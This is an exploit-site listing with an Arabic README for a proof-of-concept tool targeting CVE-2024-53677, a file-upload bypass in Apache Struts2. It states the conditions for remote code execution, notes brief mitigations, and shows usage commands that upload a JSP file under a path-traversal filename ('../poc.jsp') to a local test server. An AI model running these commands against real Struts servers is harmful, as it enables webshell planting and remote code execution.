Sploitus

Exploit for CVE-2024-53677

kitploit · 2026-09-02

Exploit Code

MARKDOWN30 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YANGYANGLO-CVE-2024-53677
# مصدر الـ POC

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

# شروط RCE

  1. لا توجد قيود على الامتدادات ذات الأنواع الخطيرة
  2. يتم الحصول على اسم الملف من معاملات التحميل عند رفع الملف  
وبالتالي فإن الإصلاح التخفيفي بسيط أيضًا: تقييد الامتدادات، واستخدام أسماء ملفات عشوائية مخصصة، وما إلى ذلك.



# استخدام السكربت

root@kitploit:~
    
    
    python3 s2-067.py -h  
    

![image](https://assets.kitploit.com/production/public/readmes/34760/e3dea46fc90a59b328ca924435939618c490192974245153f1a9539b05d6869b.png)

root@kitploit:~
    
    
    python3 s2-067.py -u http://localhost:28080/uploadFile -filename ../poc.jsp -file 2.jsp -type s
    

![image](https://assets.kitploit.com/production/public/readmes/34760/13a48dbfa645cf1291bfe7ec543b83d93ba50349765694b20de0795d8988f886.png)